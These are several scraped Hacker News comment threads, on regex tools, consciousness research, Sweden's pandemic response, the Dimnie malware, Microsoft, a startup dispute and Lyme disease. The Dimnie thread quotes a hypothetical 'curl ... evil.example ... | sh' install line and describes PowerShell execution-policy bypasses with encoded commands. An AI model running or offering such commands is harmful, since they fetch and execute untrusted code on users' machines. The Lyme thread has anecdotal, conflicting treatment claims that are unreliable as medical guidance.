RegExr - <AUTHOR> https://regexr.com/ <comment><USER2> My favorite is [https://regex101.com/](https://regex101.com/)

But I've found all of the following to be useful:

[http://regexone.com/](http://regexone.com/)

[http://www.regexpal.com/](http://www.regexpal.com/)

[http://www.rexegg.com/](http://www.rexegg.com/)

[http://regexr.com/](http://regexr.com/)

[https://www.debuggex.com/](https://www.debuggex.com/)

[https://regexper.com/](https://regexper.com/)

[https://www.regular-expressions.info/](https://www.regular-expressions.info/)

[http://www.cheatography.com/davechild/cheat- sheets/regular-e...](http://www.cheatography.com/davechild/cheat- sheets/regular-expressions/)

[http://eloquentjavascript.net/09_regexp.html](http://eloquentjavascript.net/09_regexp.html)

[http://www.smashingmagazine.com/2009/06/essential-guide- to-r...](http://www.smashingmagazine.com/2009/06/essential-guide-to-regular- expressions-tools-tutorials-and-resources/)

[http://www.smashingmagazine.com/2009/05/introduction-to- adva...](http://www.smashingmagazine.com/2009/05/introduction-to-advanced- regular-expression)

[https://developer.mozilla.org/en- US/docs/Web/JavaScript/Guid...](https://developer.mozilla.org/en- US/docs/Web/JavaScript/Guide/Regular_Expressions)

[http://codylindley.com/techpro/2013_05_14__javascript- regula...](http://codylindley.com/techpro/2013_05_14__javascript-regular- expression-/)

<comment><USER3> And for python this one is nice: [https://pythex.org/](https://pythex.org/)

<comment><USER4> Regex101 let's you switch mode, and has a python regex one.

</comment></comment></comment><comment><USER5> I prefer regex101.com because that site assigns _different colors_ to different capture groupings. I made a previous comment on this and why it's helpful: [https://news.ycombinator.com/item?id=9581692](https://news.ycombinator.com/item?id=9581692)

(For some reason RegExr.com is submitted to HN much more often than regex101.com. Is there a compelling advantage to RegExr that I've overlooked?)

<comment><USER6> regexr is open source, unlike regex101.

<comment><USER7> That doesn't make it better.

</comment></comment></comment><comment><USER8> The problem I have with all of these regex websites and tools is that they usually only use the regex dialect of whatever language they're written in. Or at best, a very incomplete list of dialects. Subtle differences between dialects matter a lot. Personally, I would need at least Perl, Python, GNU utils (with and without -E), BSD utils (or whatever comes with macOS, again with and without-E), and vim with the various settings for "magic". Ideally, they would also be able to convert between all these dialects.

<comment><USER9> If you were on Windows, you could try RegexBuddy. It supports regex dialects for: .NET, Boost (C++), Delphi, Groovy, Oracle Database, PowerShell, R, std::regex, VB6, wxWidgets, C#, MySQL, PHP, PostgreSQL, VBScript, Java, Perl, PCRE, JavaScript, Python, Ruby, Tcl ARE, POSIX BRE, POSIX ERE, GNU BRE, GNU ERE, XML Schema, and XPath. It will even generate code snippets for you based on the regex you create with the tool. It can also convert between these dialects and lets you know if features in the target dialect are not available.

I am not associated with this company in any way, just a long time user.

<comment><USER8> That does look impressive! I'm tempted to check how well this runs in Wine (since I'm not a Windows user)

</comment></comment></comment><comment><USER10> Posted many times but the large threads are:

2017 [https://news.ycombinator.com/item?id=13599952](https://news.ycombinator.com/item?id=13599952)

2015 [https://news.ycombinator.com/item?id=9581225](https://news.ycombinator.com/item?id=9581225)

2014 [https://news.ycombinator.com/item?id=7537189](https://news.ycombinator.com/item?id=7537189)

Already in 2008 the comments were listing others: [https://news.ycombinator.com/item?id=277657](https://news.ycombinator.com/item?id=277657)

</comment><comment><USER11> I find RegEx's a bit cryptic. Sure, with enough practice one can read them, but I'd like an alternative that can easily break out chunks as named units. One can then reference the named units to compose new named units. Divide-and- Conquer.

I'd like to see experiments in alternatives that provide this. It could help do for RegEx's what SQL's WITH statement did for long SQL statements.

Backus–Naur Form could act as a starting point, but it needs some syntactic adjustments to make it more compact and practical, in my opinion. Partial example:

         Side = VarFunc + Segment*;
         Segment =
             ":" + Varfunc
          | (":" + VarFunc)[0..1] + "{" + "}"
          | (":" + Varfunc)[0..1] + "{" + Base + (";" + Base)* + "}";
         Letter = ('a'..'z'|'A'..'Z');
         ForbiddenChar = $anyChr("/?#%");
         /*
         Legend:
           [x..y] = quantity of repeats (substitute letters with integers)
           [0..n] = zero, one, or multiple
           * = shorthand for [0..n]
           | = "or"
           + = concatenation, ignores white-space
           ++ = concatenation, excludes white space
           +w+ = concatenation, must have white-space between
           'x'..'y' = character falls within range
           $x() = special function or constant, where "x" is a name.
         */

<comment><USER12> Look at perl6 grammars.

<comment><USER11> It looks extensive, but perhaps may be overkill for a common regex alternative. Thanks for the tip, though. A standard or semi-standard would have to start simple.

</comment></comment></comment><comment><USER13> I usually prefer [https://regexper.com/](https://regexper.com/). Especially when trying to make sense of regexes I come across in code I didn't write.

</comment><comment><USER14> I've been using this website for years. It's been so long now that I can't even remember when Grant Skinner, the former Flash/ActionScript guru, released it. Nice to see it shared here.

</comment><comment><USER15> Why is there a sudden explosion of posts about regex in the last few days? Did something newsworthy happen that I missed, or is it more of a "I saw the post last week and then found this cool related thing" bandwagon effect?

<comment><USER16> I thinks it's the latter.

If there _is_ a major news item involving regular expressions, we're all ready to pounce, ala: [https://xkcd.com/208/](https://xkcd.com/208/)

</comment></comment><comment><USER17> This is nice, but my go to tool is: [https://www.debuggex.com/](https://www.debuggex.com/)

Not only does it tell you what everything means, but it visually displays it in a way that just makes sense.

<comment><USER18> This is always the one I forget about and have a hard time finding. It's not really great for editing but it's probably the best display I've seen in regards to debugging large regex.

</comment></comment><comment><USER19> I can highly recommend the following tool: Mastering Regular Expressions by Jeffrey Friedl [http://shop.oreilly.com/product/9780596528126.do](http://shop.oreilly.com/product/9780596528126.do)

I found the pacing to be excellent, with complimentary exercises and that it was educational as both a cheatsheet and a coherent text. Learned a lot from it, despite being experienced from the outset.

</comment><comment><USER20> For ruby regex, I use [https://rubular.com/](https://rubular.com/)

Actually I use it for all platforms, and it works most of the time. If I notice that something is odd because the regex engine is different, then I'll use something else. But I really value Rubular's UI simplicity.

</comment><comment><USER21> Beautiful! I tried it with a particularly nasty regex from a codebase I had and it did a fantastic job explaining what it would target. It's similar to regex101.com in a lot of ways, but the UI might be a little more easy to read and understand.

</comment><comment><USER22> Something I can recommend to both experienced and "new developers" alike is [https://regexper.com](https://regexper.com).

It generates clear graphs from regular expressions making immediately clear what they do.

</comment><comment><USER23> I love this tool. I have customized Emacs keybindings that open RegExr in a xwidget-webkit instance, type in regexes, and exit RegExr with the regex inserted at the cursor.

Great for reading monstrous regexes or sharpening my regex skills.

</comment><comment><USER24> This is always my go-to tool when I'm trying out RegEx!

<comment><USER25> Same, I'm a big fan.

</comment></comment><comment><USER26> One thing that's always perplexed me is the variants of regex and their differences - is there any write up that defines the majority of them?

</comment><comment><USER27> Been using RegExr for years!

<comment><USER28> Me too! I have to admit I'm really bad at it and can never remember how the heck regular expressions work, but whenever I have to come up with something I just fiddle around in RegExr until it works. Documentation in the sidebar is super handy too.

</comment></comment><comment><USER29> regex101.com lets me have client-side validation without requiring a network connection, so it's way more useful to me than regexr (although the regexr UI is nice and I like their github repo).

</comment><comment><USER30> doesnt support POSIX character classes.

this should be preferred over `a-z` as the latter relies on users locale.</comment>


Neuronal "Superhub" Might Generate Consciousness - <AUTHOR> http://www.scientificamerican.com/article/neuronal-superhub-might-generate-consciousness <comment><USER2> Wish we could generate a few more words for the various aspects and interpretations of consciousness. It's such a difficult thing to define that to say we've located a region associated with it could mean all kinds of things — to all kinds of people. Some spiritual people will find this to validate ideas of chakras, perhaps, while materialists will decide this is the true and only source of the "self," while behaviorists might interpret it as being merely the executive function.

Nevertheless, it's interesting research even if the findings are (as they inevitably are) somewhat overstated.

<comment><USER3> For some of the spiritualists, the premise is reversed: the brain is a receiver rather than generator of consciousness. Going by that premise, the application of electrical current on the claustra doesn't necessarily mean it turns consciousness on or off, though it suggests that the current disrupts the reception of consciousness.

I personally don't find anything in here that validates the ideas of chakras.

I've been recently probing the nature of awareness (and the experience of awareness) in my meditation practice. One of the things you can find out through meditation is that what you think of as your "consciousness" is not. What meditators and psychonauts consider "consciousness" is very different than the ordinary conception of "consciousness."

I agree though, this is an interesting finding.

<comment><USER4> I would be careful comparing the work of pseudo scientific "spiritualists" to that of neuroscience. Why do you think scientists don't embrace these ideas? Is it _really_ because they're somehow spiritually devoid and foolish and intentionally ignoring whatever truth you think you're grasping? Or is it because what you're talking about is nebulous and inherently impossible to test, with no theoretical underpinning based on experimental observation?

<comment><USER5> It's funny, because in the lab I work in, we explicitly explore the subjective experience of mediators and novices, under different mental states, and record with EEG and fMRI. What people may think of as _" nebulous and inherently impossible to test, with no theoretical underpinning based on experimental observation"_, is often closer the opposite in the scheme of things…

<comment><USER4> I wasn't saying that meditation isn't measurable, or that it's a waste of time, I was talking about the idea of the brain as a "receiver of consciousness". Meditation is definitely interesting, but it is dangerously easy to cross from "this helps/interests me personally" into "I have constructed an irrational belief system based on insights that are ill defined and not supported by evidence"

<comment><USER5> I see what you're saying, and I have to add that such boundary (if such is even well defined) isn't necessarily limited to "spiritualist" and not neuroscientists (at least from what I have seen…) or any other groups of people when such groups are often arbitrarily defined by any given society.

Consciousness is ill defined scientifically (and even among the many concepts that practitioners of what people equate to meditation have been arguing about for thousands of years) and if you asked the layman what they equated to what consciousness is, one would probably take away the same amount of information as to what it is compared to asking neuroscientists.

People throughout the times have had many ideas that were seen as rational and seem to be based on insights supported by evidence, until later on people learned that such beliefs/ideas were irrational and the supported evidence was dubious. The people who lived and died when such ideas/beliefs were not irrational will never know it, same with those who died thinking it helped them/such things were in their personal interests no matter how "true" such things may have been for x period of time.

Maybe if we seek didn't limit ourselves to what things can and can't be, "receiver of consciousness" wouldn't seem so irrational any more than what people now equate to popular science that at some time was equally as irrational but is no longer questioned to the same degree which could be equally as irrational at some point in the future.

But yeah, some sr. research scientist phd who studied ap physics and helped build quantum computers and now trying to apply the some methods they learned in a field to psychology/neuroscience where the current "kings of the hill" use surveys and more surveys with the occasional cutting some people/animals open, is probably not going to want to entertain ideas that relate qed systems and qm theories to meditation with meditation instructors not versed in such to any conversational degree, when they have a hard enough time trying to explore such things with neuroscientists they work with who just got some big funding from politicking that in the scheme of things probably wont advance the field any more than next dubious publication that gets plastered over social media and perceived as fact.

<comment><USER3> What kind of work do you do at your lab? I'm dubious about being able to measure experience, but hey, I've been wrong lots of times before. I've had some superficial thoughts about how quantum computing relates to consciousness, but I simply don't have the background to seriously explore this.

</comment></comment></comment></comment></comment></comment></comment><comment><USER6> They're asserting it imposes the singularity of experience, not "defines consciousness". One could think of the claustrum as something that prevents multi-threading.

<comment><USER3> It's actually possible to go enter a state where there are multiple streams of thoughts, feelings, and action while simultaneously remaining in a complete, integrated experience with clarity. It requires decoupling awareness from a single strand of thought. (You are not your thoughts).

<comment><USER7> I think you may be mixing up something. What you're describing is still a "single strand of thought", just one that is a lot fuzzier.

We can hear, see and feel at the same time even though we can at other times be hyper-focused on any one of those experiences individually. We can observe a single fish in a swarm closely, but we can also track the entire swarm and all the fish in it -- albeit with a much higher error rate at the level of the individual fish (e.g. because of "change blindness").

Unless I missed some serious research on the topic, it's not possible to be intensely aware of every single particle (be it a particular sensation or an individual entity that is being observed) in a complex system while observing the system as a whole.

<comment><USER3> What I am not describing is a single strand of thought that is fuzzier. Like I said, it's awareness with clarity.

</comment></comment></comment></comment><comment><USER8> Fascinating. This is looking more and more likely. I've wondered for a while if one of the main pieces of resistance to this theory is just the tiny size of the claustrum - no one wants to accept that the seat of their own consciousness is so miniscule.

<comment><USER9> From how I understand it it's not so much that all the processing happens there, it's just integrated and coordinated. And that integration is what we think of as conscious thought and action.

You have to consider that there are many layers of emergence in play. A mass of neurons doesn't make a brain. A pile of neural networks doesn't make symbolic thinking. Everything needs to be linked together at a higher abstraction level to produce useful results.

</comment></comment><comment><USER10> The researcher who wrote this article was also featured on Radio Lab recently:

[http://www.radiolab.org/story/91503-the-unconscious- toscanin...](http://www.radiolab.org/story/91503-the-unconscious-toscanini-of- the-brain/)

</comment><comment><USER11> Since mice also have it, it's _being awake_ rather than sapient _self- awareness_.

\tangent I increasingly incline to Dennet's view, even though it seems simplistic, that we have models of the world, of other people, and of ourselves. And that self-model is self-awareness.

</comment><comment><USER12> I have a gut feeling that there needs to be more to consciousness than a bunch of neurons connected to other neurons. If that was the case then we could create a conscoius robot from a bunch of transistors. Roger Penrose's theory is that consciousness is somehow created by quantum superposition.

[https://en.wikipedia.org/wiki/Quantum_mind](https://en.wikipedia.org/wiki/Quantum_mind)

It would be interesting to see if there are any strange quantum effects at work in the claustrum.

Of course there isn't really any evidence towards quantum consciousness, so it's just a highly speculative theory at the moment (albeit a very compelling one).

<comment><USER13> I don't find this idea very compelling.

Penrose has a lot of ideas, apparently trying different things when others were invalidated or not promising. He really wants there to be some essential quantum involvement, but his arguments that there must be are not great. It leaves me with the impression he's seeking the vital essence, and naming QM. He _could_ be right since there is a lot we do not understand, but he lacks the evidence to be anything but misguided in my opinion.

No doubt a lot of quantum phenomena are at work in the brain in various ways, but we have no evidence that it has any essential relationship with consciousness beyond the chemical and electrical properties needed for the biological foundation.

> I have a gut feeling that there needs to be more to consciousness than a > bunch of neurons connected to other neurons.

I can appreciate that feeling, but I wonder what difference it would really make to have quantum consciousness.

<comment><USER14> I totally agree with smosher. Once upon a time men of science used to describe biological systems in mystical terms because they could not understand it. Now we live in a post-Darwin world and have started to understand biology at the molecular level. No one uses phrases like "animate-matter" vs "inanimate- matter" anymore.

</comment></comment></comment><comment><USER15> This article was originally published with the title "A Brain Structure Looking for a Function."

I think that is a far better less click-baity title.

<comment><USER16> Simple rule for editors: any headline that includes a word like "might" or "may" or "could" can be replaced by a headline with the meaning that has that word replaced with "might not"/"may not".

When faced with such a headline, _please_ use the negation of the one you originally thought of, then ask yourself if it makes a terrible headline. If it does, don't use either. If there is no headline that describes the story without such weasel words, consider spiking the story. It contains no interesting information.

<comment><USER17> I disagree. The article mostly consists of evidence for the hypothesis that the claustrum is essential for consciousness. This focus strongly contributes to its interestingness: while just about anything about the brain is interesting, people are naturally most interested in the elusive "consciousness". Not mentioning the focus, as in the original title, is burying the lede, and since people browsing the HN front page are expected to judge whether a link is worth reading from the title and domain alone, it gives them a significantly worse experience without any real benefit.

</comment></comment></comment><comment><USER18> Speaking of self-awareness, should there be a test akin to the Turing test to look for this? It seems that it would be fairly simple to simulate self- awareness, given that it is necessarily a subjective experience, so it seems you would want to look for something more than the most successful simulation. I'm sure we're nowhere close with computer programs, but one might also apply such a test to goldfish or oak trees.</comment>


Giesbrecht: Sweden did it right, we did it wrong – Winnipeg Sun - <AUTHOR> https://winnipegsun.com/opinion/columnists/giesbrecht-sweden-did-it-right-we-did-it-wrong <comment><USER2> As a Swede I think it is important to remember that Sweden is quite sparsely populated.

</comment><comment><USER3> Finally someone who has a brain on this topic. I think Sweden did some mistakes, but Mr. Giesbrecht can see the main point here and is focused on what is important for broad compliance.

Of course there is no receipe that applies to every country. The crackdown in NZ for example is understandable because there is a real chance to kill the virus before an outbreak.

I am interested about how the vaccination process will work out if we have a working one. If you just let people decide themselves, you wouldn't even have a problem... But it seems that some people cannot live with making rules for everybody else.</comment>


Dimnie: Malware targeting open-source developers - <AUTHOR> https://arstechnica.co.uk/security/2017/03/someone-is-putting-lots-of-work-into-hacking-github-developers/ <comment><USER2> Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack.

If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be:

> Install in picoseconds!

> curl -sf > [http://evil.example/evil_install.sh](http://evil.example/evil_install.sh) | > sh

edit: corrected hypothetical attack

<comment><USER3> pedantic, but that wouldn't actually do much ;)

<comment><USER2> lool oops, thanks. Fixed it up :)

</comment></comment></comment><comment><USER4> _... starts with e-mails that attach a booby-trapped Microsoft Word document. The file contains a malicious macro that uses PowerShell commands._

It's good to know that the traditional vulnerabilities of Microsoft Word documents have been updated to use the new PowerShell.

<comment><USER5> Except that Powershell doesn't run scripts unless you explicitly disable it as Administrator.

<comment><USER6> This is not a security feature, and should not be relied upon. For example, unelevated users can run the following command: 'PS> Set-ExecutionPolicy Bypass -Scope Process' to allow script execution in the current powershell process.

Also, you can pass complete powershell scripts over the command line which bypasses the script restriction (because you can just input your entire script over the command line).

This is done with the -E (-EncodedCommand) flag. Which takes a base64 encoded string with statements separated by semi-colons.

<comment><USER5> As occasional Powershell user I wasn't aware of it, thanks for the heads up.

</comment></comment></comment></comment><comment><USER7> Wait, you can still get viruses from opening word documents? What is this, 1998?

Good to know that Microsoft is focusing on the important things.[0]

[0] [https://en.wikipedia.org/wiki/Tay_(bot)](https://en.wikipedia.org/wiki/Tay_\(bot\))

</comment><comment><USER8> Not sure if Windows PowerShell scripts are the best way to target open source developers, as these power users are usually on Linux/OSX

<comment><AUTHOR> That's true, but it's not unreasonable to foresee the creators making OSX/Linux versions too if these Windows ones "go ok" from their point of view. :(

What's worrying to me is the wording of the emails themselves. It's much better, and more likely appearing "legit" than the vast multitude of scam/trojan/similar .pdf/.xls/.doc/.lnk/etc emails I've seen. (several a day generally)

<comment><USER5> With the now current _curl | sh_ pattern, one just needs some MTM attack, or even just trick someone to do it, as the majority never look to the contents of the shell script.

<comment><USER9> It's been demonstrated in the past that server can detect the pipe to shell and modify content - timing attack, if I recall correctly

<comment><USER10> How does it work? Any sources?

<comment><USER11> [https://www.idontplaydarts.com/2016/04/detecting-curl- pipe-b...](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash- server-side/)

<comment><USER10> Thanks, that's very interesting.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> The takeaway appears to be: don't develop on a Windows box.

What happens if you open the claimed Word doc in LibreOffice?

</comment><comment><USER13> What's the purpose of all those localhost ping lines in the delete script?

<comment><USER14> The author likely is used to Windows scripting before sleep was a thing.

The pings are used as a delay, without pausing the entire process or thread.

<comment><USER15> More likely the author knows that sleep is a common thing for malware scanners to look for, and choose a sneakier method to achieve the same goal.

</comment></comment></comment><comment><USER16> They could just put malware into one of popular node.js modules. Nobody would notice because Linux/Mac users don't use antivirus.

<comment><USER17> This is why most companies have a build step in their CI/CD pipeline that scans for CVE/malware in their app's dependencies (jar, npm packages, Ruby gems etc)

<comment><USER18> While the concept sounds sound, so far I've never actually seen this setup in the real world. Do you happen to have any resources on how to properly setup such a step in a CI tool?

<comment><USER17> Check out software like Twistlock, Sonatype and I think Tennable has a scanner as well that integrates into the pipeline. If your are not using Sonatype to build you can find good support for this in Jenkins or Team City via a plugin (Full disclosure, I work in this area)

</comment></comment></comment></comment><comment><USER19> Url changed from [https://arstechnica.co.uk/security/2017/03/someone-is- puttin...](https://arstechnica.co.uk/security/2017/03/someone-is-putting-lots- of-work-into-hacking-github-developers/), which points to this. There was a small discussion at [https://news.ycombinator.com/item?id=13992005](https://news.ycombinator.com/item?id=13992005) but perhaps changing the url to the original article will stimulate a more substantive one.

Submitters: please submit original sources, as the site guidelines ask ([https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)). Myriads of blog posts and articles mostly just point to something else; be a good HN submitter and do the pointer traversal for the rest of us.

<comment><USER20> In all honesty, Ars does a real value-add in this case. I'm an open source developer on Windows so this feels relevant, but the original article forces me to read through a very long, highly technical article full of HTTP logs and hex dumps just to find out how this could impact me. About halfway through I gave up and then I was happy I found your comment with the Ars link.

<comment><USER19> That's a good point. I've changed the URL back from [http://researchcenter.paloaltonetworks.com/2017/03/unit42-di...](http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie- hiding-plain-sight/).</comment></comment></comment>


The Lost Decade: Why Steve Ballmer is no Bill Gates. - <AUTHOR> http://www.newsweek.com/id/220145/output/print Last month Microsoft rolled out Windows 7 and opened the first of a chain of new retail stores. As usual with such announcements, there's been loads of hoopla and ginned-up excitement. But mostly people are just relieved. Windows 7 replaces Vista, one of the most disastrous tech products ever. It also caps the end of a decade in which Microsoft's founder, Bill Gates, stepped aside, and the company lost its edge. <comment><USER2> Microsoft got comfortable, bottom line. They made XP (which rocks so hard, btw) and then felt like they won and stopped innovating. The article points out that Ballmer had a blind spot because he wasn't a techie, which I think is very accurate. Once MS was winning, they decided they had XBOX to keep them afloat but didn't really continue innovating. Now they are struggling to catch up with the innovations other made during the MS comfortable-on-top period. Really, imo, they should re-release XP.

</comment><comment><USER3> What if it doesn't matter who the CEO was... Maybe it was the sheer size of Microsoft that limited its ability - hard to turn on a dime when the numbers are that big. IBM was everything in the computer business, and then they just ceased to be interesting. At some point, Google will probably go the same route.

<comment><USER4> The same could have been said about Apple in 1995. The CEO can bring focus or can allow the turf war.</comment></comment>


Our Team Won Startup Weekend and All We Got Was a Shitty New Boss - <AUTHOR> https://medium.com/@rboyd/our-team-won-startup-weekend-and-all-we-got-was-a-shitty-new-boss-35f1d1f1f267 <comment><USER2> really interesting read! i wonder how many of these startup weekend success stories end this way?

<comment><USER3> Yeah that's what I was thinking too. I feel like it's something that happens a lot more than people are willing to admit. Idea guy just assumes he's the boss because he had the idea and runs away with the company and the developers that worked hard to make it happen just hope they are lucky enough to be selected to be on the company with little equity.</comment></comment>


The Lyme Wars (2013) - <AUTHOR> http://www.newyorker.com/reporting/2013/07/01/130701fa_fact_specter?currentPage=all <comment><USER2> I had Lyme disease and I started having symptoms (but no rash) roughly after 1-2 weeks after the tick bite (feeling unwell, shivering, joint pains, swollen lymph nodes). I then took antibiotics for almost 2 weeks. I continued to have severe joint pain for a couple of months. Now, more than a year later, I am feeling well, but sometimes I still feel a very slight joint pain in those affected joints near that tick bite. The most important thing is that you act on it quickly and your chances are very good. The longer you wait - or haven't noticed it - the more difficult it gets to treat.

"Kaleigh switched doctors and began a course of antibiotics that lasted eight more months." that is not only dangerous but, sorry about the harsh word, stupid. It is likely that opportunistic fungi will destroy your body if you take antibiotics for that long, and there are even cases where this has led to the death of the patient.

"It takes the tick at least thirty-six hours to transmit borrelia." Also, this is wrong. Mine was in there for at most a day and I discovered it in the evening while showering and then removed it. Why should there be a magical barrier that stops bacteria from being transmitted during 36 hours?

<comment><USER3> I have Lyme disease. Tick bite when I was 10 years old, finally discovered I have Lyme at age 26, after years of suffering and getting more symptoms year after year. I'm now at the beginning of a long term antibiotics course. After 2 months of antibiotics, my foggy brain is starting to clear up again... for one or two hours a day in the evening I can think & focus again. The rest of the day I'm useless.

So it seems 2 months isn't enough to get rid of all the nasty bacteria, let alone two weeks! Yes, long term antibiotics has it risks but I wouldn't call it stupid when there's no other choice.

Furthermore, every 2 months the doctor switches the antibiotics, prescribes refrigerated probiotics with trillions of living cells & does regular blood checks (also for yeasts).

<comment><USER4> My mom was bitten by a tick in Colorado and given a 2 week course of antibiotics when she started to feel ill. She got better then promptly got worse as soon as they ran out. Over the next six months she progressively worsened until she could only get out of bed for a couple hours a day. Finally she found out about Lyme disease - many doctors do not believe that it even occurs in Colorado so she didn't know what was wrong for the longest time. She found a doctor out of state that insurance would cover who would treat her. She was on heavy doses of oral antibiotics for four years and has never had a relapse, some 20 years later.

Good luck on your treatment.

<comment><USER5> Did they test her for Lyme disease? Did she have the active anti-bodies?

<comment><USER4> Just saw this reply, a couple weeks late, but:

Yes, and no, at least not initially. I believe they repeated the test and it came back positive at a later date. So it seems likely that she got _something_ from the tick, probably in part Lyme. The Lyme test is reputed to have a high false negative rate, not sure to what extent this is true.

</comment></comment></comment></comment></comment><comment><USER6> The unfortunate reality is that both the CDC and the patient advocacy groups are lying their asses off. On the CDC side, all the recommendations are based around lyme when, as this article points out, there are dozens of tickborne infections including probably many that haven't even been discovered yet. So the 'official' clinical guidelines around treating tickborne illnesses make no sense. And in general many of the recommendations just seem to be deeply epistemologically flawed.

Whereas on the patient advocacy side, if you look at their (ILADS) reports, many of the footnotes go to random people's blogs, and if you follow the footnote trail long enough it just ends up where many of their recommendations basically just originate with random people making up shit.

<comment><USER7> It wasn't until after having a kid and getting very conflicting advice from different doctors for the same issues that I realized doctors are mostly making educated guesses on treatment.

Fortunately, there's a significant placebo effect for nearly any treatment from a doctor, so even when doctors make guesses it often ends up helping.

<comment><USER6> Not sure how much placebo effect is going to help with a bacterial infection.

Especially with this new disease that was just discovered in New York State last year, you get it within 15 minutes (unlike Lyme which allegedly takes 24 hours) and it has a 30% chance of killing you. The members of my local mycology group are getting absolutely dropped by these things... One of our members almost died a couple months ago after having the white blood cell count of an end stage AIDS patient. It's almost suicidal to go into the woods without pants stuffed into your socks, a long sleeve shirt tucked into your pants, and all your clothes treated with permethrin. I've even started wearing boxer briefs just to keep them out of there at least.

<comment><USER8> What disease is this?

<comment><USER6> Powassan virus:

[https://www.google.com/webhp?sourceid=chrome- instant&ion=1&e...](https://www.google.com/webhp?sourceid=chrome- instant&ion=1&espv=2&ie=UTF-8#q=powassan%20virus%20new%20york)

</comment></comment></comment></comment></comment><comment><USER9> Lyme is now the number one infectious disease in New England. Until medical science finds an effective cure, the best solution is to hunt deer populations back down to historical and sustainable levels, around 10 or 15 deer per square mile. (current populations approach 60 deer per square mile in some areas). While mice are the most important reservoir for Lyme (and pass it to humans via tick nymphs), the adult black legged tick still needs deer to complete its life cycle.

Added benefits: deer overpopulation is also a huge problem for forest management (they eat all the hardwood saplings) and deer-auto collisions kill a couple hundred people a year and cause over $4 billion a year in insurance losses.

<comment><USER10> This also accurately describes the deer overpopulation in Pennsylvania, where there is also rampant lyme disease. In Pennsylvania, the deer hunters really enjoy the status quo, because of the good odds they can bag a buck every year. And because the hunters have some political influence, proposals to reduce the deer population go nowhere. I'm not sure if the political landscape is similar in New England.

<comment><USER11> Looking at this from the outside, it seems to me that deer hunters are more likely to get lyme disease and so, they should favor deer population control.

<comment><USER12> If you're just going out into the woods for a day, its relatively easy to stay safe. You wear certain types of clothes, tuck them into each other a certain way, spray yourself with tick repellent, come home, throw them immediately into the wash, and then shower and check your body.

Ticks are much more difficult for children (who have to be taught the above), definitely people with outdoor pets, people who didn't expect to be in the woods (gardening, picnics, shortcut on the walk home, etc), and people not returning for the night (ever try checking yourself for ticks by firelight? even then your laundry is nearby, and they might crawl out. etc)

<comment><USER9> Specifically, when going into tick areas, no open toed shoes, no shorts, and wear long sleeves. Tuck your pants legs into your socks. Most ticks climb up from your feet. Another tip is to treat your outdoor shoes with permethrin on the first of each month in May, June, July, and August.

</comment></comment></comment></comment></comment><comment><USER13> I'm surprised that the article doesn't mention LYMERix, the FDA-licensed vaccine that seems to be a casualty of anti-vaccine hysteria and a somewhat overzealous legal system. There seems to be a tiny suggestion that the vaccine might cause some issues, but all the studies seem to show that this isn't a problem.

Also, vaccinating dogs against Lyme disease is standard practice, and it doesn't seem to hurt the dogs.

Here are some references:

[http://cid.oxfordjournals.org/content/52/suppl_3/s253.long](http://cid.oxfordjournals.org/content/52/suppl_3/s253.long)

[http://cid.oxfordjournals.org/content/52/suppl_3/s253.long](http://cid.oxfordjournals.org/content/52/suppl_3/s253.long)

<comment><USER5> Can humans use the dog vaccine? Perhaps a black market might develop?

</comment></comment><comment><USER5> It's funny, there's actually a vaccine [1]. It's amazing we're not getting it out there:

> In 1998 SmithKline Beecham (now GlaxoSmithKline) developed a vaccine that > was about 80 percent effective for at least a year after three doses.

[1] [http://www.nytimes.com/2013/09/19/opinion/bring-back-the- lym...](http://www.nytimes.com/2013/09/19/opinion/bring-back-the-lyme- vaccine.html)

<comment><USER9> Unlike most vaccines, there's no herd immunity benefit for humans because the transmission vector are ticks. So to make any headway we have to go after the ticks, and their hosts, the deer and the deer mouse.

<comment><USER5> Don't the ticks get it from humans though?

<comment><USER14> I guess they can, but the wild animals are the primary disease reservoir, mostly just because there aren't all that many ticks feeding on humans and making it back into the wild.

It also matters what species egg laying females feed on. The first few paragraphs of this lay it out:

[http://wwwnc.cdc.gov/eid/article/16/3/09-0911_article](http://wwwnc.cdc.gov/eid/article/16/3/09-0911_article)

</comment></comment></comment></comment><comment><USER15> I had Lyme disease (tested positive, treated.) I've felt "like shit" for probably at least the last year.

<comment><USER11> If you haven´t, I suggest Longecity forums [1]. There are a few members that have/are battling lyme and it is full of good advice.

[1] [http://www.longecity.org/forum](http://www.longecity.org/forum)

</comment></comment><comment><USER16> My dad got Lyme on the Appalachian Trail five years ago, and still has symptom flare-ups regularly. Lyme has a habit of converting anybody affected by it into an activist, which probably stems from the controversy over diagnosis and treatment of things like chronic Lyme.

Earlier this year I founded TickChek.com, a startup that offers PCR-based laboratory tick testing that can determine whether or not a tick that bit you carries Borrelia (the Lyme disease bacteria) or other tick borne disease vectors with 99.99% accuracy. We've tested hundreds of ticks so far, and most of our customers use our lab results to help decide whether antibiotics or full blood testing is necessary.

Most people aren't aware of tick testing as an option for determining their risk of contracting Lyme, and we're going to be working hard to spread awareness before next year' tick season.

<comment><USER5> Cool service! Is it possible to have insurance pay for this? Is it hard to send ticks through the mail?

<comment><USER16> Most insurance companies don't cover tick testing, unfortunately. We've never had any problems sending ticks through the mail though. People usually send 'em in sandwich bags inside normal envelopes, alive or dead.

</comment></comment></comment><comment><USER17> I was diagnosed with Lyme disease when i was in elementary school, ~5th grade. No rash was noticed. It wasn't until days later than my knees had swollen so bad that I couldn't walk without significant pain that my teachers and parents actually did anything.

Antibiotics and god awful syringes to extract the fluid in my knees. Even though I've been without pain in my knees since, it's left me with a life long hatred for high impact things like running.

I'm now 27. I'd generally say that I feel just fine. But on the other hand, "foggy brained" is also something that i'm pretty sure my Mother, and close friends would pin me as being.

<comment><USER18> Sounds very much like my symptoms (intense knee pain/swelling and no rash), except that you don't mention low-grade fever and jaw pain (which I had). I was eventually on crutches and had an enormous amount of fluid (orange) removed from my knees. Cortisone helped a great deal.

For whatever reason they tested me for everything under the sun (rheumatoid arthritis, gout (!), etc) before testing for Lyme. I wish I knew then what I know now.

Know the symptoms, insist on the test.

